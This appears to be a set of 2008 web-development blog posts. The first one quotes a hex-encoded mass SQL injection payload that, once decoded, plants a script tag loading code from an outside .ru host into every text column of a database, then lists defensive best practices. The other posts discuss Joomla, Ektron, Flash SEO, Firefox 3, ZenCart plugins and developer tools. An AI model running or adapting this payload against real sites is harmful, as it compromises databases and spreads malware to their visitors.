About Web Development by Activo

I noticed one of our client’s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.

Here’s the code: (I removed the SQL exec() statement and replaced it with print so you can see the unencoded SQL.)

DECLARE @S VARCHAR(4000);SET @S=CAST(0×4445434C4152452040542
05641524348415228323535292C4043205641524348415228323535292
04445434C415245205461626C655F437572736F7220435552534F52204
64F522053454C45435420612E6E616D652C622E6E616D652046524F4D2
07379736F626A6563747320612C737973636F6C756D6E7320622057484
5524520612E69643D622E696420414E4420612E78747970653D2775272
0414E442028622E78747970653D3939204F5220622E78747970653D333
5204F5220622E78747970653D323331204F5220622E78747970653D313
63729204F50454E205461626C655F437572736F72204645544348204E4
558542046524F4D205461626C655F437572736F7220494E544F2040542
C4043205748494C4528404046455443485F5354415455533D302920424
547494E20455845432827555044415445205B272B40542B275D2053455
4205B272B40432B275D3D525452494D28434F4E5645525428564152434
841522834303030292C5B272B40432B275D29292B27273C73637269707
4207372633D687474703A2F2F7777772E393868732E72752F6A732E6A73
3E3C2F7363726970743E27272729204645544348204E4558542046524F4
D205461626C655F437572736F7220494E544F2040542C404320454E4420
434C4F5345205461626C655F437572736F72204445414C4C4F434154452
05461626C655F437572736F7220 AS VARCHAR(4000));

print @S;

This particular attack is well known and has been sighted in several variants:

http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx

http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx

Using the following web application best practices, we avoid getting hacked:

• Application level:
  • Never trust user input (e.g. querystring or form posts). Always consider that user input may contain exploit code and check it appropriately.
  • Always use Stored Procedures and/or Parameterized database queries. Don’t build SQL queries using string concatenation.
  • Use typed variables when possible. Converting a querystring parameter to an integer before passing it to a SQL query can inhibit some attacks.
• Database level:
  • Use limited database permissions. For example, for SQL Server, don’t let you application run under the “sa” user. The database user should only have permission in the particular database used by the application.
  • If possible, disable extended stored procedures such as xp_cmdshell.
  • Don’t use dynamic SQL. Dynamic SQL can be just as bad as building queries using string concatenation.
    Some DBAs have server-wide policies of no Dynamic SQL.

• Web server level:
  • If appropriate, filter requests. IIS 7 offers requestFiltering options. http://msdn.microsoft.com/en-us/library/ms689462.aspx
    For example, the maxQueryString parameter could be used to block the exploit attempt above.
  • For II6: http://technet.microsoft.com/en-us/security/cc242650.aspx
• Miscellaneous
  • Install security patches as soon as they become available.

The application level is crucial. Since a web application may someday be moved to a new server, we can’t assume that the web server and database have been configured using best practices.

All layers of security are important, though: If you’re using a third-party or closed-source web application, you may not have access to application code. In that case, the Database and Web Server layers are your last defense against exploits in improperly written code.

You’ll love Joomla! CMS because it is a great open source and free CMS with lots of features, stable releases, and it comes with a huge supporting community. Don’t get us wrong, we love Joomla CMS too and truly believe that this open source application is a big head start for any content based website. But since we used Joomla on many advanced Web 2.0 websites, we have found its limits, and sometimes struggled with those limits to a point of considering other systems or even using a framework instead. Let’s look closer at the missing features:

1. Directory or node base category structure

This is one of the biggest pain points with using Joomla or trying to explain how to use Joomla to new users. Joomla places all content items within sections and categories. Before Joomla 1.5, all content items were required to be in one of these sections and categories. In other words, the system was limited to a two level categorization and the categorization was enforced. In Joomla 1.5, it is not a requirement, however, if you wish to categorize the content items you must use this archaic system.

So, what’s missing? It needs a node based categorization. Similar to any folder structure out there in any operating system. You can create folders with content items in them and you have a nice flexible and fully comprehensible system. No more workarounds. This will then boost the use of any dynamic plugins that can rely on the folder structure for certain features. A great example is a News & Events section that is needed for almost every serious website: with flexible node system you can create a news folder and an events folder and place your articles there. If in the future you wish to add sub categories to your news - no problem! (with the current and the old system - you’ll have to rethink once you get to a certain depth level).

2. A Real Authorship Path and Publication Mechanism

Yes, it is true that users have multiple levels right out of the box in Joomla. But it lacks any sort of a mechanism that controls the workflow of the content item. Ideally, you will have one user that will add new content items and another that will have to approve before it goes live in a specific section. The publisher user will have the rights to publish only in his/her sections, etc. This is a basic feature in many enterprise content management systems.

3. Content Articles Versioning

In Joomla, once you made the change and hit that save button - there is no way to go back in time and undo your changes. Ideally, Joomla will save every instance of the content item and keep track of its versions. How it does it is not important, whether it uses SVN like versioning which efficiently saves only the diff values, or if it actually saves the entire content item every time a revision is made does not matter. The feature that is missing is the versioning itself.

4. Built In Separation Between ‘Live’ and ‘Staging’ Environments

For businesses that value their websites and understand the sensitivity of them, we always recommend setting up a staging environment. This is where all users, developers, and designers can see the latest revisions before it goes live. It provides another stage of error handling instead of working a fire drill on a regular basis. Many enterprise content management systems have this option as a built-in mechanism. From the same admin panel or work area, the admin presses a button and the latest version of the site is then ‘pushed’ live. We currently have linux scripts that do the job but there is no way for a non-developer to handle this case. Ideally, this needs to be from the admin panel of Joomla.

5. Document Management System (File Manager)

So, we all know that Joomla’s File Manager or ‘Media’ manager is a bit lacking. It has the basic functionality that assists with uploading files, moving, deleting them - but that’s it. A DMS (Document Management System) allows each user to manage their own document area, which in turn allows better handling of uploading and using files with drag and drop controls, and improved management interface for admins that can more easily handle large amount of folders and files.

Conclusion

Joomla CMS is a great open source CMS, no doubt. However, if the above five missing features are added, it will make it easier for us to be able to offer this CMS to the enterprise. For now, the commercial CMS spectrum is what we got to work with for enterprise level content management systems.

We recently spotted an article from Bill Roger’s blog (Ektron’s CEO) which discusses usage of the Ektron Server Controls v.s. Ektron’s API. At Activo, we are constantly using both approaches and indeed each approach is a bit different and is used in different situations. The article makes it much clearer that Ektron actually put more effort than we thought before into the Server Controls. Understanding that the Server Controls were made for this sort of usage makes us now feel more secure using this method. Previously, I always thought of this method as a hack and preferred the API.

Frank heads our .NET development team and added the following:

I’ve found it easier to start off with a foundation of one of the server controls and build off of that, rather than using only API calls. The server control acts as a “datareader” which can be used to access the data initially. Many of the custom controls we built to replace XSLT use this model:

• Add a ListSummary inside the user control/page and set its properties.
• Access the ListSummary’s EkItems property.
• Manipulate the data from EkItems, transform it, and output it into a repeater.

This tends to work more reliably than using the API calls. However, if the code needs to bypass the permissions model, the only option is to go direct using the API.

Those of you who worked with Activo on SEO projects know that we have always opposed Flash. At Activo we always valued traffic over look & feel which translated into avoiding Flash technology altogether. Well, no more! If it is true that Flash sites can now receive ‘equal’ treatment, then we will give Flash its place in our Web Development practices.

In recent days, both Adobe and Google issued press releases and blog articles how Google’s crawler will be able to read into Shockwave (.swf) files. This means that all text, menus, and content that is embedded in a Flash object file will now be readable by search engines. Adobe published the Showkwave standards so search engines will be able to read it and Google was one of the first to respond and announce that it knows how to read Shokwave contents. What a welcomed change!

What this means is that we will now have additional parameters to take into account, especially in websites that have decided not to work with flash as their main platform but instead offer a small portion of their home page in flash (such as a banner or a rotating main message). Additionally, if this holds true and Google will be able to read into Shokwave (flash) files than we will start seeing more flash based sites coming up in the Organic search results from Google and search engines.

Sources:

• http://www.adobe.com/aboutadobe/pressroom/pressreleases/200806/070108AdobeRichMediaSearch.html
• http://googleblog.blogspot.com/2008/06/google-learns-to-crawl-flash.html

Yes, they are here! FireFox version 3 is now available to download and in a month or two every FireFox installation out there will show a dialog to upgrade to 3. Similarly, Microsoft is planning on releasing their Internet Explorer 8 which is now in Beta 1 mode. Regardless, it definitely seems like FireFox is getting a lot of attention lately and the buzz does come on Internet Explorer’s expense:

For us, web developers, it is a mixed blessing. On one hand, we get a better, faster, more reliable browsers. On the other hand, browsers don’t just come into the market and replace old ones instantly, therefore we will now need to test for Internet Explorer (IE) 6, IE7, IE8, FireFox (FF) 2, and FF3. Not mentioning the fact that some browsers like to behave differently on different operating systems which we have to account for as well.

My first impression of FireFox 3 is a positive one. The awesome bar is indeed awesome. Performance wise it does seem to be a bit faster when it comes to AJAX, however I am not sure I notice any difference in general performance. All my necessary plugins released versions that work with FireFox 3 - so I am a happy camper. In our web development work, we did see some sections of sites that work in FF2 and break in FF3 - so be aware that there are some HTML rendering differences.

Now, the question is when will IE8 be ready for us? and what will it bring to the table? Let’s just wait and see…

At Activo, Inc. we have a few products that integrate between ZenCart and other systems. Recently, we went through the exercise of rewriting our Activo ZenCart POS (RunIt) Integration plugin so it will not require overwriting any core files. It took some time to read and research the ZenCart’s best practices and to follow the documentation, however once we learned what is available and how to use it, converting the code was a breeze. Our previous version of the plugin included already some usage of the flexibility of ZenCart but to complete the abstraction we needed to use the initSystem and the Observer Class.

Making sure that your plugin does not override any other core files or doesn’t require tweaking any core files is important for several reasons. First, overriding core files prevents smooth upgrades - it doesn’t matter how small of a change you introduced once upgraded you will always have to reintroduce the change. Second, a plugin that does not override core files have better chances (95%+) that it will interact smoothly with other non-obtrusive plugins. Third, respecting the platform’s API extends the life of your plugin over several versions of the platform that it plugins to. The following four different methods or subsystems are available for writing efficient and non obtrusive plugins within ZenCart:

Template Override Mechanism

This is the most common way of modifying your own shopping cart and making it stand out from other ZenCart systems. I believe the template override system was introduced right after ZenCart was span off of osCommerce. While, the current templating system is not my favorite (Joomla CMS has a much better template system), it does introduce all the flexibility that one needs in order to generate a custom template in ZenCart. At Activo, we have developed several shopping carts that do not resemble a typical ZenCart site. Here is how:

• look under the /includes/templates folder - you will find the two templates that ship with every ZenCart: ‘default_template’ and ‘classic’. To add your own template, create a new folder try to use related name to your site or store and make sure to follow linux web folder naming conventions as this folder will be used for every CSS, Image, or Javascript files on your site.
• Add the description file to your newly created template folder. This file will allow some information to be displayed in the admin area of ZenCart under Admin > Tools > Templates.
• You probably want to add a jpeg or gif screenshot image of your template front end, however this is optional. If you do, don’t forget to place it in /includes/templates/<Your Template Folder>/images and put the name of the file inside the ‘template_info.php’ file in the ‘$template_screenshot’ variable.
• At this point you have a template that will display everything exactly as the default_template because each file that cannot be found under your newly created template folder, ZenCart will look for the same file under the ‘default_template’ folder. So, to custromize just copy one file at a time from the default_template folder and begin customizing.

Note there is a lot more to this templating system than the files that you can override under the custom template folder. This will require its own article altogether.

‘extra’ Files Automatic Inclusion

If you spend enough time looking around the ZenCart folder, you will find a few folders that start with the words ‘extra_’. Any PHP files under these will run through execution before any page loads. The main purpose of these folders however, is to include definitions or init values necessary for some modules or components that you install or that you are writing. Since these folders run before anything ‘interesting’ happens with ZenCart, it won’t help to run scripts here. Similarly you will find ‘extra_*’ folders under the /admin/includes and some additional all around the site with more specific purposes, here is the full list with a small description for each one:

• /admin/includes/boxes/extra_boxes - Extra submenu items for anything but the first column of the admin menu.
• /admin/includes/extra_configures - Configurations files for admin panel plugins.
• /admin/includes/extra_datafiles - Data files and data file definitions for the admin panel plugins.
• /admin/includes/functions/extra_functions - Additional function files. These functions will be declared globally in the admin panel and can be used form your plugins.
• /includes/extra_cart_actions - Custom shopping cart actions. Special logic to the shopping cart.
• /includes/extra_configures - Configuration files which will be included in the front end.
• /includes/extra_datafiles - Data files and data file definitions for the front end plugins.
• /includes/functions/extra_functions - Additional function files. These functions will be declared globally in the front end and can be used form your plugins.

initSystem

The initSystem of ZenCart is an extendable system that allows programmers to define what happens on initialization while remaining within the ZenCart framework. In simple words: it lets a programmer set your plugin environment in any way, shape, or form without rewriting the ‘application_top.php’ file. From the wiki page directly:

The term initSystem, apart from being a tag used to group certain PHP files together in the new documentation, is meant to embrace all of those files that are automatically included/initialised before any ‘command’ scripts can be run.

Zen Cart™ uses a (non Object Oriented) page controller pattern to decide the scripts to run, based on HTTP_GET parameters. The most important of these is the ‘main_page’ HTTP_GET parameter. Depending on that parameter, a command script is then run. Each commmand script resides in a directory in /includes/modules/pages.

The essence of how to use it is well described in the wiki page. What’s nice here is that ZenCart’s own internals make use of this system and you can see it under the ‘init_includes’ folder. It is fairly easy to add your own init script files and extend ZenCart to fit your needs. Make sure to read all of the documentation on the wiki page since there are some easy-to-overlook pitfalls like file name conventions and the order of which things happen in this system.

Observer Class

The Observer Class system of ZenCart is a sophisticated way to avoid core hacks in common places. It is a design pattern that is being used a lot in operating systems, and GUI design. It introduces a notion of events. A set of global events is declared throughout the ZenCart system and you can define your own logic or set of tasks that can be invoked by attaching your class to a specific event or a set of events. The list of events is pretty vast with the latest version of ZenCart (ver 1.3.8a) and can be seen at the wiki page for this system.

Conclusion

The above four methods of customizing and extending ZenCart is all that a good programmer needs in order to develop a robust, scalable, modular, and secure shopping cart website. These systems do not exist in osCommerce or any other open source shopping cart systems out there, at least not at the same level of maturity.

Enjoy!

Resources:

• ZenCart Program Flow Documentation 1.3 (PDF)
• http://www.zen-cart.com/wiki/index.php/Developers_API_Tutorials

Once in a blue moon, a web developer will need to format or re-work the favicon for the website they are working on. What are the alternatives? Download a shareware from download.com. Any of those applications will need installation. Most people start complaining within a month or even a week if they haven’t purchased a license. I always try to avoid such ad-hoc installations, because you never know what else you might be installing on your machine. In other words, it’s not safe or stable.

A nice, free, and open source alternative is the open source file format plugin for Photoshop. This little plug-in works on Mac, PC, and even VISTA platforms. It supports Photoshop versions up to CS2. If you have Photoshop installed on your machine, all you have to do is download the zip, and copy the plugin (1 file) into the right folder. On my laptop the path to the folder was:
C:\Program Files\Adobe\Adobe Photoshop CS2\Plug-Ins\File Formats

Reopen your Photoshop and you are done! drag and drop the ico file or save your image as (use “Save As…”) and choose the ICO file format.

If editing icons were a bit easier than playing with pixels. On a side note, what happened to the transparency with icons? That’s a question for another day..

It just isn’t enough to have the best tools in the world if you don’t know how to use them.  Consider Visual Source Safe; a wonderful product in its own right.  But I, like a novice dude-ranch tourist facing an unbroken thoroughbred, was left frustrated by its wild side to take over the read/write properties of code and markup files.  What to do, what to do. 

You can only scratch your noggin so much in your futile attempt to google “Best-practice vss” before you give up the search or lose your hair.  I wasn’t sure I was using the source safe the right way, and training on a tight deadline was out of the question at this point.  I needed the version control to allow me to work on a local copy of my files and then port them over the network to another development machine and have it work the first time.  The trouble was, the references never carried over.  In hind sight, I should have known to save the projects in a uniform directory structure for that to take place, but the best practices of that were no where to be found.  I only found out about that little bit of information from a coworker who was extremely well versed in his own version control skills.  The problem though, was that his version control of choice was not Visual Source Safe, but a set of open source tools.

Enter Ankh and Tortoise, two open source subversion tools that our php guru carries the banner for, much to the chagrin of my pro-Microsoft traits.  As an aside, one can only endure so much frustration, sticking up for Microsoft’s premier version control product against a banner wielding fanatic, when one has only enough information and training in it to be a little bit dangerous.  I had a wild thoroughbred, he a donkey.  Mine was a better bet to win the race if you were a jockey.  His was a better worker under any rider, let alone his better experience. 

I gave in, we made the switch and so far this donkey is a powerhouse. 

You know, I think I’ll start a list of my own best practices.  Please feel free to add your own to help out those aspiring jockeys out there.  So in brief, here are some best practices I would recommend with Visual Source Safe

1. If you’re going to develop using Visual Studio.net on a local system and share the VSS as a team, I recommend you set up a standard directory structure across the board.  Everyone put their projects in c:\projects\[name of website].  Then when you check in the files the references will all match when someone across the building, checks out your code for editing.

2. … add your own

 Best wishes,

Joe 

We recently signed a few website maintenance agreements for multiple websites each. To better manage these websites and our development progress we needed an issue tracking system. So, we looked around and found a few systems. Our shortlist consisted of a few open source and obvious ones out there: Bugzila, RT, & Mantis, one fairly unknown open source system: Eventum, and one commercial system: Kayako.

We were looking for a system that its main purpose is issue tracking not bug tracking. It is a very saddle difference but it makes the life of the non-technical user, such as our clients, much easier. We wanted to make sure that the technical jargon used within the project will suite our clients without changing a whole bunch of language files and templates. Another required feature is the ability to create issues and track them via emails. Last, we wanted to use an issue tracking system that we can easily add or remove features by digging into the code and still have a solid and stable foundation.

Since at Activo we specialize in .NET and PHP web development environments we didn’t want to experiment with any other environment like Perl or Python, automatically two systems were removed from our shortlist before even installing them. Personally, I have used RT previously in a different company and I must say that it does meet more than the basic needs. Previously, one of our team members has tried to install and test Bugzilla. Unfortunately, he has installed the previous stable release (2.X.X) and it needed some heavy configuration and didn’t offer a crisp/clean look & feel.

We were left with three PHP based issue tracking systems: Mantis, Eventum, and Kayako. Here is how the different platforms scored:

We had to make a decision between Kayako and Eventum and finally we had a poor experience with Kayako’s technical support team which steered us in Eventum’s direction. After installing, testing, and forgetting about the system for a while we ran into some problems with the email queuing feature. For some reason our cron tabs consistently returned error messages and emails were not being transferred back and forth smoothly. After some digging we found some permission issues and fixed it. Now that it is working well and most importantly serves our needs, we can declare Eventum as a winner.

Thank you MySQL!